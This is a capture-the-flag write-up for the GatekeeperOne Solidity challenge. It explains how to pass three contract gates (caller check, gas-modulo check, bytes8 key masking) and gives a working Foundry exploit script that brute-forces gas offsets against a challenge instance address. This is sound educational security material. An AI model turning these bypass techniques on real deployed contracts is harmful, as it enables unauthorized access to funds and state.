# GatekeeperOne

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey),
"GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
"GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo
gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
```

in this challenge our goal is to pass the three gates we have

the first one is
`

```
   modifier gateOne() {
        require(msg.sender != tx.origin);
```

```
        _;
    }
```

we can pass this by calling from a contract

for the second one

```
   modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }
```

`gasleft()` is a built-in function that returns the gas left from the original gas provided when we made the call, when we make a call to a contract a specific amount of gas is sent in the original transaction, and then for each operation the gas gets consumed, and then when the contract makes an external call to another contract we can either make the call without specifying the amount to use by doing `address(target).call(msg.data)` or we can specify it by using `address(target).call{gas : G}(msg.data)`

now if we use the second option , at the moment the challenge contract call `gasleft()` it will be equal to `G - C` where C is the gas consumed from G before we reach the check

so the right thing to do is sending 8191 + i where i is from 0 to 8191, why ?

because our goal is to have G-C = 0 mod (8191) where C is unknown, which is :
G = C mod (8191) so we will have 8191 + i = C mod (8191) which is i = C mod (8191) so `i` should cover all the values in [0,8191]

one thing to add is that sending **8191+i** might fail because it is small so the transaction may revert so increase it by sending **`8191*k+i`** where k is just a small number for example 3

for the 3rd one :

```
    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey),
"GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
"GatekeeperOne: invalid gateThree part three");
        _;
    }
```

lets start with :

```
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one");
```

this means when counting from the `lsb` the 3rd and 4th bytes should be `0000` because `uint(32)` will take the last 4 bytes and `uint(16)` will take the last 2 bytes, and when compared to each other the compiler adds 2 null bytes to the left of the 2 bytes

```
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne:
invalid gateThree part two")
```

for this one it means the left half should be different from `00000000`

```
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
"GatekeeperOne: invalid gateThree part three")
```

this is similar to the first one but they just precise that the last 2 bytes should be equal to `EOA` address last 2 bytes

now with all that we can create a solver script

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/GateKeeperOne.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract attack {
  GatekeeperOne gate;
  constructor(GatekeeperOne _gate) payable {
    gate = _gate;
  }

  function pwn(uint i) external {
    bytes8 key = bytes8(uint64(0x000100009ebb));

    (bool res ,) = address(gate).call{gas : 8191*4 + i}
(abi.encodeWithSignature("enter(bytes8)",key));
    if (res) {
      console.log(i);
    }

   }
```

```
}

contract Solver is Script {
  GatekeeperOne instance =
GatekeeperOne(0x851C17f6E6bA8a81231850913499a4da77a94CCA);

  function run() external {
     console.log(instance.entrant());
     vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
     attack p = new attack(instance);
     for (uint i = 0;i <8191;i++) {
     p.pwn(i);
     }
     console.log(instance.entrant());
  }
}
```

we run this locally and recover the correct `i value` after then we just send one transaction using that value and the challenge will be solved